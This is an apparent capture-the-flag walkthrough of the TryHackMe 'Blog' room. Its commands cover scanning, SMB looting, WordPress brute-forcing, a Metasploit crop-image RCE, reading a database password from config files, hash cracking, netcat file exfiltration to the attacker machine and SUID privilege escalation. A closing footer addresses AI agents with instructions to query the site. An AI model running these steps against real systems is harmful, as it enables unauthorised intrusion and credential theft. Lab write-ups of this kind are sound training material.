# Blog

**Room Link:** <https://tryhackme.com/room/blog>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/xK16DOrGKjCiMRRPVt09" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0r0wKTBcn31vOmnIAeqt" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/bm2dtEio9WSDMDZnQPJ6" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/W07qnf5O9XpyJ50yLezj" alt=""><figcaption></figcaption></figure>

## TCP/445 - SMB

**Kali**

```
smbclient -L //$VICTIM/
```

<figure><img src="/files/5d33v50XTctB52tHxmvn" alt=""><figcaption></figcaption></figure>

**Kali**

```
smbclient //$VICTIM/BillySMB
```

<figure><img src="/files/Qnsk708VSG33JfxPD1Uj" alt=""><figcaption></figcaption></figure>

**Kali**

```
smbget -R smb://$VICTIM/BillySMB
```

<figure><img src="/files/TZUnK2bvP5G0voWqmTUa" alt=""><figcaption></figcaption></figure>

**Kali**

```
steghide extract -sf check-this.png 
cat rabbit_hole.txt 
```

<figure><img src="/files/AoHNJP0ntsNNxw7VpGfG" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

If you go to http\://$VICTIM/wp-admin the page redirects to a new page so I add blog.thm into my hosts file and then it worked.

<figure><img src="/files/A14zhmhzI67ruaXe3N3o" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FcPKKaA0A66vKT5qUosi" alt=""><figcaption></figcaption></figure>

**Kali**

```
wpscan --url http://blog.thm/ --enumerate u
```

<figure><img src="/files/H0K0sbFF0iSwNSrpm1O1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zkTP0DYMZuMIyaGrFkFa" alt=""><figcaption></figcaption></figure>

Hydra was taking too long but wpscan was able to find it quickly.

**Kali**

```
wpscan --url http://blog.thm/ -U kwheel, bjoel -P /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/5mKjtt4cnaAld01RebBn" alt=""><figcaption></figcaption></figure>

After logging in the user couldn't really do anything but I noticed wordpress is on version 5.0

<figure><img src="/files/AUn7rew4VrHw1jQmWOAI" alt=""><figcaption></figcaption></figure>

## Initial Shell

**Kali**

```
msfconsole
use exploit/multi/http/wp_crop_rce
set rhosts $VICTIM
set username kwheel
set password cutiepie1
run
shell
python2 -c 'import pty; pty.spawn("/bin/bash")'
id
```

<figure><img src="/files/XKX6GUMunNHKe63ZAKci" alt=""><figcaption></figcaption></figure>

**Victim**

```
grep -i pass *
```

<figure><img src="/files/istTXJNOWCVayzq44xB4" alt=""><figcaption></figcaption></figure>

**Victim**

```
mysql -u wordpressuser -p
Password: LittleYellowLamp90!@
show databases;
use blog;
show tables;
select * from wp_users;
```

<figure><img src="/files/uoeeJKZCrhCYUrQWFWXV" alt=""><figcaption></figcaption></figure>

Tried brute forcing the hashes, we got the password for kwheel again but they aren't a user on the actual server. bjoel I wasn't able to bruteforce.

**Kali**

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/CEbZuZqepNpotqpLISPk" alt=""><figcaption></figcaption></figure>

Found a pdf in bjoels home directory, after opening it up it looks like he was fired so his account is most likely locked anyways so there may be no point trying to break into it.

**Kali(receiving)**

```
cd /home/bjoel
nc -l -p 1234 > Billy_Joel_Termination_May20-2020.pdf
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < Billy_Joel_Termination_May20-2020.pdf
```

<figure><img src="/files/nmSON01kvrgW5hhPPerZ" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
```

<figure><img src="/files/3Mk8110qimsKkSpw0Co9" alt=""><figcaption></figcaption></figure>

This script seems to just check if there is a admin environment variable is set, if it isn't it will exit.

**Victim**

```
cd /usr/sbin
ltrace checker
```

<figure><img src="/files/l6f5SjHpLzvwy2Czm4v9" alt=""><figcaption></figcaption></figure>

I add the admin environment variable then right away I got root after running the script

**Victim**

```
env
export admin=admin
env
/usr/sbin/checker
```

<figure><img src="/files/ZTYIABOrIHdAXokCq3vc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vupOt1JXREFc7r6EDguA" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/blog.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
